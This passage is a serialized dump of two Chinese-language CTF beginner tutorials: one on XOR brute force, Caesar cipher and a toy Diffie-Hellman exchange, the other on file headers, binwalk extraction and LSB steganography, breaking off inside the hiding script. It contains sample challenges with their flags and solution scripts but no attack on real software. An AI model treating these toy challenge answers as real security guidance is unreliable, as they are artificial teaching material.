key（按位异或），\n",[50,3683,3684],{"class":52,"line":157},[50,3685,3686],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[50,3688,3689],{"class":52,"line":163},[50,3690,3691],{},"print(cipher.hex())\n",[50,3693,3694],{"class":52,"line":168},[50,3695,3696],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3698,3555],{},[41,3700,3703],{"className":3701,"code":3702,"language":305,"meta":46},[303],"242e2325393a2d301d2b311d2723313b3f\n",[18,3704,3702],{"__ignoreMap":46},[713,3706,3708],{"id":3707},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3710,3711,3713],{},[271,3712,273],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3715,3716,3718,3719,3722,3723,3726],{},[271,3717,279],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[18,3720,3721],{},"flag{"," 开头，这就是天然的判据。用 ",[18,3724,3725],{},"b\"flag{\" in plain"," 过滤即可。",[41,3728,3730],{"className":411,"code":3729,"language":413,"meta":46,"style":46},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[18,3731,3732,3737,3742,3746,3751,3756,3761,3766,3771,3776,3781,3786,3791,3796],{"__ignoreMap":46},[50,3733,3734],{"class":52,"line":53},[50,3735,3736],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[50,3738,3739],{"class":52,"line":70},[50,3740,3741],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[50,3743,3744],{"class":52,"line":84},[50,3745,142],{"emptyLinePlaceholder":141},[50,3747,3748],{"class":52,"line":145},[50,3749,3750],{},"for k in range(256):\n",[50,3752,3753],{"class":52,"line":151},[50,3754,3755],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[50,3757,3758],{"class":52,"line":157},[50,3759,3760],{},"    plain = bytes([b ^ k for b in cipher])\n",[50,3762,3763],{"class":52,"line":163},[50,3764,3765],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[50,3767,3768],{"class":52,"line":168},[50,3769,3770],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[50,3772,3773],{"class":52,"line":174},[50,3774,3775],{},"    if b\"flag{\" in plain:\n",[50,3777,3778],{"class":52,"line":180},[50,3779,3780],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[50,3782,3783],{"class":52,"line":186},[50,3784,3785],{},"        print(\"key =\", k)           # 输出密钥数值\n",[50,3787,3788],{"class":52,"line":191},[50,3789,3790],{},"        print(plain.decode())       # 输出解密出的明文\n",[50,3792,3793],{"class":52,"line":196},[50,3794,3795],{},"        break\n",[50,3797,3798],{"class":52,"line":202},[50,3799,3800],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3802,3555],{},[41,3804,3807],{"className":3805,"code":3806,"language":305,"meta":46},[303],"key = 66\nflag{xor_is_easy}\n",[18,3808,3806],{"__ignoreMap":46},[15,3810,3811,3812,3814],{},"判断依据：明文包含 ",[18,3813,3721],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[713,3816,3818],{"id":3817},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3820,3821,3822,119],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 ",[18,3823,3824],{},"xortool",[41,3826,3828],{"className":43,"code":3827,"language":45,"meta":46,"style":46},"pip install xortool\nxortool -x -c 20 cipher.bin\n",[18,3829,3830,3840],{"__ignoreMap":46},[50,3831,3832,3835,3837],{"class":52,"line":53},[50,3833,3834],{"class":56},"pip",[50,3836,61],{"class":60},[50,3838,3839],{"class":60}," xortool\n",[50,3841,3842,3844,3847,3850,3853],{"class":52,"line":70},[50,3843,3824],{"class":56},[50,3845,3846],{"class":250}," -x",[50,3848,3849],{"class":250}," -c",[50,3851,3852],{"class":250}," 20",[50,3854,3855],{"class":60}," cipher.bin\n",[10,3857,3859],{"id":3858},"四核心知识-2凯撒密码","四、核心知识 2：凯撒密码",[15,3861,3862],{},"每个字母平移固定位数：",[41,3864,3866],{"className":411,"code":3865,"language":413,"meta":46,"style":46},"def caesar(s, shift):\n    out = \"\"\n    for c in s:\n        if c.isalpha():\n            base = ord('a') if c.islower() else ord('A')\n            out += chr((ord(c) - base + shift) % 26 + base)\n        else:\n            out += c\n    return out\n\nprint(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\nprint(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[18,3867,3868,3873,3878,3883,3888,3893,3898,3903,3908,3913,3917,3922],{"__ignoreMap":46},[50,3869,3870],{"class":52,"line":53},[50,3871,3872],{},"def caesar(s, shift):\n",[50,3874,3875],{"class":52,"line":70},[50,3876,3877],{},"    out = \"\"\n",[50,3879,3880],{"class":52,"line":84},[50,3881,3882],{},"    for c in s:\n",[50,3884,3885],{"class":52,"line":145},[50,3886,3887],{},"        if c.isalpha():\n",[50,3889,3890],{"class":52,"line":151},[50,3891,3892],{},"            base = ord('a') if c.islower() else ord('A')\n",[50,3894,3895],{"class":52,"line":157},[50,3896,3897],{},"            out += chr((ord(c) - base + shift) % 26 + base)\n",[50,3899,3900],{"class":52,"line":163},[50,3901,3902],{},"        else:\n",[50,3904,3905],{"class":52,"line":168},[50,3906,3907],{},"            out += c\n",[50,3909,3910],{"class":52,"line":174},[50,3911,3912],{},"    return out\n",[50,3914,3915],{"class":52,"line":180},[50,3916,142],{"emptyLinePlaceholder":141},[50,3918,3919],{"class":52,"line":186},[50,3920,3921],{},"print(caesar(\"flag{caesar_is_fun}\", 3))    # 加密\n",[50,3923,3924],{"class":52,"line":191},[50,3925,3926],{},"print(caesar(\"iodj{fdhvdu_lv_ixq}\", -3))   # 解密\n",[15,3928,3555],{},[41,3930,3933],{"className":3931,"code":3932,"language":305,"meta":46},[303],"iodj{fdhvdu_lv_ixq}\nflag{caesar_is_fun}\n",[18,3934,3932],{"__ignoreMap":46},[10,3936,3938],{"id":3937},"五核心知识-3dh-密钥协商","五、核心知识 3：DH 密钥协商",[713,3940,3942],{"id":3941},"_51-要解决的问题","5.1 要解决的问题",[15,3944,3945],{},"对称加密要求双方共享同一密钥，但互联网上的双方从未见过面，信道还可能被窃听。DH（Diffie-Hellman）解决\"在公开信道协商共享密钥\"。",[713,3947,3949],{"id":3948},"_52-流程","5.2 流程",[15,3951,3952,3954],{},[271,3953,273],{},"：理解双方如何在\"只看得到公开数值\"的情况下得到同一个秘密。",[15,3956,3957,3959],{},[271,3958,279],{},"：秘密不在信道上传输，而是双方各自用\"自己的私钥 + 对方的公钥\"算出同一个数。窃听者缺少任一个私钥，就算不出来。",[1036,3961,3962,3970,3979,3987],{},[1039,3963,3964,3965,3967,3968,697],{},"双方公开约定大素数 ",[18,3966,15],{}," 与生成元 ",[18,3969,1319],{},[1039,3971,3972,3973,3975,3976,697],{},"Alice 选私钥 ",[18,3974,3623],{},"，发送 ",[18,3977,3978],{},"A = g^a mod p",[1039,3980,3981,3982,3975,3984,697],{},"Bob 选私钥 ",[18,3983,2209],{},[18,3985,3986],{},"B = g^b mod p",[1039,3988,3989,3990,3993,3994,3997,3998,697],{},"双方分别计算 ",[18,3991,3992],{},"B^a mod p"," 与 ",[18,3995,3996],{},"A^b mod p","，得到相同值 ",[18,3999,4000],{},"g^(ab) mod p",[713,4002,4004],{"id":4003},"_53-最小实现","5.3 最小实现",[41,4006,4008],{"className":411,"code":4007,"language":413,"meta":46,"style":46},"p, g = 0xffffffffffffffc5, 2\n# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n# g：生成元，双方公开约定。\na, b = 1234567, 7654321\n# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n\nA = pow(g, a, p)\n# pow(g, a, p) = g^a mod p，即快速幂取模。\n# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\nB = pow(g, b, p)\n# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n\ns_alice = pow(B, a, p)\n# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\ns_bob = pow(A, b, p)\n# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n# 两个结果相等，这就是共享密钥。\n\nprint(\"A =\", A)\nprint(\"B =\", B)\nprint(\"Alice 计算:\", s_alice)\nprint(\"Bob 计算:\", s_bob)\nprint(\"一致:\", s_alice == s_bob)\n# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[18,4009,4010,4015,4020,4025,4030,4035,4039,4044,4049,4054,4059,4064,4068,4073,4078,4083,4088,4093,4097,4102,4107,4112,4117,4122],{"__ignoreMap":46},[50,4011,4012],{"class":52,"line":53},[50,4013,4014],{},"p, g = 0xffffffffffffffc5, 2\n",[50,4016,4017],{"class":52,"line":70},[50,4018,4019],{},"# p：双方公开约定的素数（演示用 60 位，实际协议要求 2048 位以上）。\n",[50,4021,4022],{"class":52,"line":84},[50,4023,4024],{},"# g：生成元，双方公开约定。\n",[50,4026,4027],{"class":52,"line":145},[50,4028,4029],{},"a, b = 1234567, 7654321\n",[50,4031,4032],{"class":52,"line":151},[50,4033,4034],{},"# a 是 Alice 的私钥，b 是 Bob 的私钥——这两个值绝不能公开。\n",[50,4036,4037],{"class":52,"line":157},[50,4038,142],{"emptyLinePlaceholder":141},[50,4040,4041],{"class":52,"line":163},[50,4042,4043],{},"A = pow(g, a, p)\n",[50,4045,4046],{"class":52,"line":168},[50,4047,4048],{},"# pow(g, a, p) = g^a mod p，即快速幂取模。\n",[50,4050,4051],{"class":52,"line":174},[50,4052,4053],{},"# A 是 Alice 的\"公钥\"，可以公开，Alice 把它发给 Bob。\n",[50,4055,4056],{"class":52,"line":180},[50,4057,4058],{},"B = pow(g, b, p)\n",[50,4060,4061],{"class":52,"line":186},[50,4062,4063],{},"# 同理，B 是 Bob 的公钥，Bob 发给 Alice。\n",[50,4065,4066],{"class":52,"line":191},[50,4067,142],{"emptyLinePlaceholder":141},[50,4069,4070],{"class":52,"line":196},[50,4071,4072],{},"s_alice = pow(B, a, p)\n",[50,4074,4075],{"class":52,"line":202},[50,4076,4077],{},"# Alice 用 Bob 的公钥 B 和自己的私钥 a 计算 (g^b)^a = g^(ab)。\n",[50,4079,4080],{"class":52,"line":208},[50,4081,4082],{},"s_bob = pow(A, b, p)\n",[50,4084,4085],{"class":52,"line":214},[50,4086,4087],{},"# Bob 用 Alice 的公钥 A 和自己的私钥 b 计算 (g^a)^b = g^(ab)。\n",[50,4089,4090],{"class":52,"line":220},[50,4091,4092],{},"# 两个结果相等，这就是共享密钥。\n",[50,4094,4095],{"class":52,"line":226},[50,4096,142],{"emptyLinePlaceholder":141},[50,4098,4099],{"class":52,"line":232},[50,4100,4101],{},"print(\"A =\", A)\n",[50,4103,4104],{"class":52,"line":821},[50,4105,4106],{},"print(\"B =\", B)\n",[50,4108,4109],{"class":52,"line":827},[50,4110,4111],{},"print(\"Alice 计算:\", s_alice)\n",[50,4113,4114],{"class":52,"line":833},[50,4115,4116],{},"print(\"Bob 计算:\", s_bob)\n",[50,4118,4119],{"class":52,"line":839},[50,4120,4121],{},"print(\"一致:\", s_alice == s_bob)\n",[50,4123,4124],{"class":52,"line":845},[50,4125,4126],{},"# 输出一致: True，说明双方在公开信道中成功协商出同一密钥。\n",[15,4128,3555],{},[41,4130,4133],{"className":4131,"code":4132,"language":305,"meta":46},[303],"A = 6842530808116395773\nB = 3514199851527377648\nAlice 计算: 17750252846772688935\nBob 计算: 17750252846772688935\n一致: True\n",[18,4134,4132],{"__ignoreMap":46},[15,4136,4137,4138,4141,4142,4144],{},"窃听者只能看到 ",[18,4139,4140],{},"p, g, A, B","，要算出 ",[18,4143,3623],{}," 必须求解离散对数，参数足够大时不可行。HTTPS 的 TLS 协议正是用 DH 协商密钥、用 RSA/ECDSA 证书认证身份。",[10,4146,2252],{"id":2251},[713,4148,4150],{"id":4149},"工具-1cyberchef","工具 1：CyberChef",[15,4152,4153],{},"浏览器工具，三个常用操作：",[312,4155,4156,4166],{},[315,4157,4158],{},[318,4159,4160,4163],{},[321,4161,4162],{},"操作",[321,4164,4165],{},"用法",[328,4167,4168,4176,4184],{},[318,4169,4170,4173],{},[333,4171,4172],{},"From Base64",[333,4174,4175],{},"左侧搜 Base64 拖入，粘贴密文，自动解码",[318,4177,4178,4181],{},[333,4179,4180],{},"From Hex",[333,4182,4183],{},"拖入 From Hex 解码十六进制",[318,4185,4186,4189],{},[333,4187,4188],{},"Magic",[333,4190,4191],{},"直接粘贴未知文本，自动猜测编码方式",[713,4193,4195],{"id":4194},"工具-2python-标准库","工具 2：Python 标准库",[41,4197,4199],{"className":411,"code":4198,"language":413,"meta":46,"style":46},"import base64, binascii\n\nprint(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\nprint(bytes.fromhex(\"666c6167\"))      # b'flag'\nprint(ord('A'))                       # 65，ASCII 编码\n",[18,4200,4201,4206,4210,4215,4220],{"__ignoreMap":46},[50,4202,4203],{"class":52,"line":53},[50,4204,4205],{},"import base64, binascii\n",[50,4207,4208],{"class":52,"line":70},[50,4209,142],{"emptyLinePlaceholder":141},[50,4211,4212],{"class":52,"line":84},[50,4213,4214],{},"print(base64.b64decode(\"ZmxhZw==\"))   # b'flag'\n",[50,4216,4217],{"class":52,"line":145},[50,4218,4219],{},"print(bytes.fromhex(\"666c6167\"))      # b'flag'\n",[50,4221,4222],{"class":52,"line":151},[50,4223,4224],{},"print(ord('A'))                       # 65，ASCII 编码\n",[713,4226,4228],{"id":4227},"工具-3pycryptodome","工具 3：pycryptodome",[15,4230,4231],{},"CTF 密码学最常用的库，三个函数：",[41,4233,4235],{"className":411,"code":4234,"language":413,"meta":46,"style":46},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n\nprint(inverse(3, 7))                    # 5：3 在模 7 下的逆元\nprint(long_to_bytes(0x666c6167))        # b'flag'\nprint(bytes_to_long(b\"flag\"))           # 1718378855\n",[18,4236,4237,4242,4246,4251,4256],{"__ignoreMap":46},[50,4238,4239],{"class":52,"line":53},[50,4240,4241],{},"from Crypto.Util.number import long_to_bytes, bytes_to_long, inverse\n",[50,4243,4244],{"class":52,"line":70},[50,4245,142],{"emptyLinePlaceholder":141},[50,4247,4248],{"class":52,"line":84},[50,4249,4250],{},"print(inverse(3, 7))                    # 5：3 在模 7 下的逆元\n",[50,4252,4253],{"class":52,"line":145},[50,4254,4255],{},"print(long_to_bytes(0x666c6167))        # b'flag'\n",[50,4257,4258],{"class":52,"line":151},[50,4259,4260],{},"print(bytes_to_long(b\"flag\"))           # 1718378855\n",[15,4262,3555],{},[41,4264,4267],{"className":4265,"code":4266,"language":305,"meta":46},[303],"5\nb'flag'\n1718378855\n",[18,4268,4266],{"__ignoreMap":46},[10,4270,4272],{"id":4271},"七小-ctf-实战单字节-xor","七、小 CTF 实战：单字节 XOR",[15,4274,4275],{},"题目：给出密文 hex，提示\"密钥是一个字节，明文是 flag\"。",[41,4277,4279],{"className":4278,"code":3702,"language":305,"meta":46},[303],[18,4280,3702],{"__ignoreMap":46},[15,4282,4283],{},"解题脚本：",[15,4285,4286,4288,4289,4291],{},[271,4287,279],{},"：密文是字节串，密钥只可能 0-255；逐个试，用 ",[18,4290,3721],{}," 前缀过滤正确结果。",[41,4293,4295],{"className":411,"code":4294,"language":413,"meta":46,"style":46},"from binascii import unhexlify\n# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n\ncipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n\nfor k in range(256):\n    plain = bytes([b ^ k for b in cipher])\n    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n    if b\"flag{\" in plain:\n        print(\"key =\", k)          # 预期 66\n        print(plain.decode())      # 预期 flag{xor_is_easy}\n        break\n",[18,4296,4297,4302,4307,4311,4316,4320,4324,4328,4333,4337,4342,4347],{"__ignoreMap":46},[50,4298,4299],{"class":52,"line":53},[50,4300,4301],{},"from binascii import unhexlify\n",[50,4303,4304],{"class":52,"line":70},[50,4305,4306],{},"# unhexlify 与 bytes.fromhex 等价：把十六进制字符串转成字节串。\n",[50,4308,4309],{"class":52,"line":84},[50,4310,142],{"emptyLinePlaceholder":141},[50,4312,4313],{"class":52,"line":145},[50,4314,4315],{},"cipher = unhexlify(\"242e2325393a2d301d2b311d2723313b3f\")\n",[50,4317,4318],{"class":52,"line":151},[50,4319,142],{"emptyLinePlaceholder":141},[50,4321,4322],{"class":52,"line":157},[50,4323,3750],{},[50,4325,4326],{"class":52,"line":163},[50,4327,3760],{},[50,4329,4330],{"class":52,"line":168},[50,4331,4332],{},"    # 每个密文字节与候选密钥 k 异或，得到候选明文。\n",[50,4334,4335],{"class":52,"line":174},[50,4336,3775],{},[50,4338,4339],{"class":52,"line":180},[50,4340,4341],{},"        print(\"key =\", k)          # 预期 66\n",[50,4343,4344],{"class":52,"line":186},[50,4345,4346],{},"        print(plain.decode())      # 预期 flag{xor_is_easy}\n",[50,4348,4349],{"class":52,"line":191},[50,4350,3795],{},[15,4352,3555],{},[41,4354,4356],{"className":4355,"code":3806,"language":305,"meta":46},[303],[18,4357,3806],{"__ignoreMap":46},[10,4359,2544],{"id":2543},[15,4361,4362],{},"密码学入门三点：编码识别（Base64/Hex/URL）、XOR 与单字节爆破、DH 的数学原理。这三样足以解决入门级密码题；RSA 与分组密码的误用攻击见《RSA 深入实战》。",[1244,4364,4365],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}",{"title":46,"searchDepth":70,"depth":70,"links":4367},[4368,4369,4370,4371,4372,4373,4374,4375],{"id":3392,"depth":84,"text":3393},{"id":38,"depth":84,"text":39},{"id":3631,"depth":84,"text":3632},{"id":3858,"depth":84,"text":3859},{"id":3937,"depth":84,"text":3938},{"id":2251,"depth":84,"text":2252},{"id":4271,"depth":84,"text":4272},{"id":2543,"depth":84,"text":2544},"编码在现实网络中的应用、单字节 XOR 的加密与爆破、DH 密钥协商的最小实现。",{"date":1263,"image":4378,"alt":4379,"tags":4380,"published":141},"/blogs-img/blog3.png","CTF 密码学入门",[1267,4381,1269],"crypto","/blogs/ctf-crypto-overview",{"title":3387,"description":4376},"blogs/12. ctf-crypto-overview","DxG_dqKWLnmfDkyKuCyhXivf1lWCPPVHNvci7wmQWK8",{"id":4387,"title":4388,"body":4389,"description":5329,"extension":1261,"meta":5330,"navigation":141,"ogImage":5331,"path":5335,"seo":5336,"stem":5337,"__hash__":5338},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":4390,"toc":5319},[4391,4395,4405,4408,4468,4470,4503,4507,4511,4516,4521,4533,4535,4541,4548,4571,4575,4580,4603,4605,4611,4621,4625,4630,4641,4662,4665,4669,4672,4685,4687,4693,4696,4710,4717,4724,4735,4739,4743,4746,4752,4755,4759,4764,4953,4967,4971,4976,4981,5111,5113,5119,5123,5148,5154,5156,5227,5231,5236,5239,5250,5255,5258,5276,5279,5282,5292,5295,5298,5303,5305,5316],[10,4392,4394],{"id":4393},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,4396,4397,4398,4401,4402,697],{},"操作系统按扩展名选择打开程序（",[18,4399,4400],{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[271,4403,4404],{},"先看文件头，再信扩展名",[15,4406,4407],{},"必须记住的三个文件头：",[312,4409,4410,4423],{},[315,4411,4412],{},[318,4413,4414,4417,4420],{},[321,4415,4416],{},"文件",[321,4418,4419],{},"文件头（hex）",[321,4421,4422],{},"明文",[328,4424,4425,4440,4453],{},[318,4426,4427,4430,4435],{},[333,4428,4429],{},"PNG",[333,4431,4432],{},[18,4433,4434],{},"89 50 4E 47 0D 0A 1A 0A",[333,4436,4437],{},[18,4438,4439],{},"‰PNG",[318,4441,4442,4445,4450],{},[333,4443,4444],{},"JPEG",[333,4446,4447],{},[18,4448,4449],{},"FF D8 FF",[333,4451,4452],{},"—",[318,4454,4455,4458,4463],{},[333,4456,4457],{},"ZIP",[333,4459,4460],{},[18,4461,4462],{},"50 4B 03 04",[333,4464,4465],{},[18,4466,4467],{},"PK",[10,4469,39],{"id":38},[41,4471,4473],{"className":43,"code":4472,"language":45,"meta":46,"style":46},"apt install file binutils binwalk foremost exiftool\npip3 install pillow\n",[18,4474,4475,4494],{"__ignoreMap":46},[50,4476,4477,4479,4481,4483,4485,4488,4491],{"class":52,"line":53},[50,4478,57],{"class":56},[50,4480,61],{"class":60},[50,4482,1358],{"class":60},[50,4484,1361],{"class":60},[50,4486,4487],{"class":60}," binwalk",[50,4489,4490],{"class":60}," foremost",[50,4492,4493],{"class":60}," exiftool\n",[50,4495,4496,4498,4500],{"class":52,"line":70},[50,4497,73],{"class":56},[50,4499,61],{"class":60},[50,4501,4502],{"class":60}," pillow\n",[10,4504,4506],{"id":4505},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[713,4508,4510],{"id":4509},"_31-file看真实类型","3.1 file：看真实类型",[15,4512,4513,4515],{},[271,4514,273],{},"：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,4517,4518,4520],{},[271,4519,1870],{},"：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[41,4522,4524],{"className":43,"code":4523,"language":45,"meta":46,"style":46},"file hidden.png\n",[18,4525,4526],{"__ignoreMap":46},[50,4527,4528,4530],{"class":52,"line":53},[50,4529,1408],{"class":56},[50,4531,4532],{"class":60}," hidden.png\n",[15,4534,3555],{},[41,4536,4539],{"className":4537,"code":4538,"language":305,"meta":46},[303],"hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n",[18,4540,4538],{"__ignoreMap":46},[15,4542,4543,4544,4547],{},"如果输出是 ",[18,4545,4546],{},"Zip archive data","，说明文件其实是 zip：",[41,4549,4551],{"className":43,"code":4550,"language":45,"meta":46,"style":46},"mv flag.png flag.zip && unzip flag.zip\n",[18,4552,4553],{"__ignoreMap":46},[50,4554,4555,4558,4561,4564,4566,4568],{"class":52,"line":53},[50,4556,4557],{"class":56},"mv",[50,4559,4560],{"class":60}," flag.png",[50,4562,4563],{"class":60}," flag.zip",[50,4565,97],{"class":96},[50,4567,1980],{"class":56},[50,4569,4570],{"class":60}," flag.zip\n",[713,4572,4574],{"id":4573},"_32-xxd看文件头","3.2 xxd：看文件头",[15,4576,4577,4579],{},[271,4578,273],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[41,4581,4583],{"className":43,"code":4582,"language":45,"meta":46,"style":46},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[18,4584,4585,4598],{"__ignoreMap":46},[50,4586,4587,4590,4593,4596],{"class":52,"line":53},[50,4588,4589],{"class":56},"xxd",[50,4591,4592],{"class":250}," -l",[50,4594,4595],{"class":250}," 16",[50,4597,4532],{"class":60},[50,4599,4600],{"class":52,"line":70},[50,4601,4602],{"class":2741},"# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,4604,3555],{},[41,4606,4609],{"className":4607,"code":4608,"language":305,"meta":46},[303],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[18,4610,4608],{"__ignoreMap":46},[15,4612,4613,4614,4617,4618,697],{},"开头的 ",[18,4615,4616],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[18,4619,4620],{},".PNG",[713,4622,4624],{"id":4623},"_33-strings搜字符串","3.3 strings：搜字符串",[15,4626,4627,4629],{},[271,4628,273],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,4631,4632,119,4634,4636,4637,4640],{},[271,4633,279],{},[18,4635,1451],{}," 把可打印字符串抽出来，",[18,4638,4639],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[41,4642,4644],{"className":43,"code":4643,"language":45,"meta":46,"style":46},"strings flag.png | grep -i flag\n",[18,4645,4646],{"__ignoreMap":46},[50,4647,4648,4650,4652,4654,4656,4659],{"class":52,"line":53},[50,4649,1451],{"class":56},[50,4651,4560],{"class":60},[50,4653,645],{"class":644},[50,4655,648],{"class":56},[50,4657,4658],{"class":250}," -i",[50,4660,4661],{"class":60}," flag\n",[15,4663,4664],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,4666,4668],{"id":4667},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,4670,4671],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[41,4673,4675],{"className":43,"code":4674,"language":45,"meta":46,"style":46},"binwalk flag.png\n",[18,4676,4677],{"__ignoreMap":46},[50,4678,4679,4682],{"class":52,"line":53},[50,4680,4681],{"class":56},"binwalk",[50,4683,4684],{"class":60}," flag.png\n",[15,4686,299],{},[41,4688,4691],{"className":4689,"code":4690,"language":305,"meta":46},[303],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[18,4692,4690],{"__ignoreMap":46},[15,4694,4695],{},"提取：",[41,4697,4699],{"className":43,"code":4698,"language":45,"meta":46,"style":46},"binwalk -e flag.png\n",[18,4700,4701],{"__ignoreMap":46},[50,4702,4703,4705,4708],{"class":52,"line":53},[50,4704,4681],{"class":56},[50,4706,4707],{"class":250}," -e",[50,4709,4684],{"class":60},[15,4711,4712,4713,4716],{},"会在当前目录生成 ",[18,4714,4715],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,4718,4719,4720,4723],{},"备选工具 ",[18,4721,4722],{},"foremost","（按文件头暴力切割）：",[41,4725,4727],{"className":43,"code":4726,"language":45,"meta":46,"style":46},"foremost flag.png\n",[18,4728,4729],{"__ignoreMap":46},[50,4730,4731,4733],{"class":52,"line":53},[50,4732,4722],{"class":56},[50,4734,4684],{"class":60},[10,4736,4738],{"id":4737},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[713,4740,4742],{"id":4741},"_51-原理","5.1 原理",[15,4744,4745],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[41,4747,4750],{"className":4748,"code":4749,"language":305,"meta":46},[303],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[18,4751,4749],{"__ignoreMap":46},[15,4753,4754],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[713,4756,4758],{"id":4757},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,4760,4761,4763],{},[271,4762,273],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[41,4765,4767],{"className":411,"code":4766,"language":413,"meta":46,"style":46},"from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 